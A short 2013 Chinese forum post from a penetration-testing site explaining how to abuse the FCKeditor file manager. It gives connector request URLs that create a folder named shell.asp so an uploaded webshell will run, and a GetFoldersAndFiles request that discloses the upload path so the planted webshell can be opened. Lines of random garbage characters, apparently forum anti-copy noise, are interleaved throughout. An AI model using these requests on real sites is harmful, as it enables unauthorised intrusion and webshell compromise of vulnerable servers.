中国网络渗透测试联盟
标题:
fckeditor找上传路径方法
[打印本页]
作者:
admin
时间:
2013-10-17 19:37
标题:
fckeditor找上传路径方法
网上流行着是上传是这样子的
: e& w0 b* l, l" v2 M3 E0 u6 j
/ l7 B9 y* M, c* {8 X& P1 n, }
http://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
6 [% i) ~. _, }2 }9 u4 S
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
@5 W m9 I- n0 h
+ P6 K( }, n- Q) e) R8 s& K7 S
上传后老找不到路径，测了一下，我发现
% z( E- i5 _5 D
" u) e' I8 M$ \3 `2 z
FCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' |0 H5 I% E, X
- ^7 Q7 E3 m+ f, k/ W: X
可以爆出路径，显示以下内容
2 {% J" u$ U* X& T4 X
3 r% c0 L, z' @- _' |3 N7 T
% }0 }/ i3 x4 ~7 O" s& N3 K9 }, b
得出路径，直接打开就见到马子
% h& j. Y# ]5 X6 B6 H
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2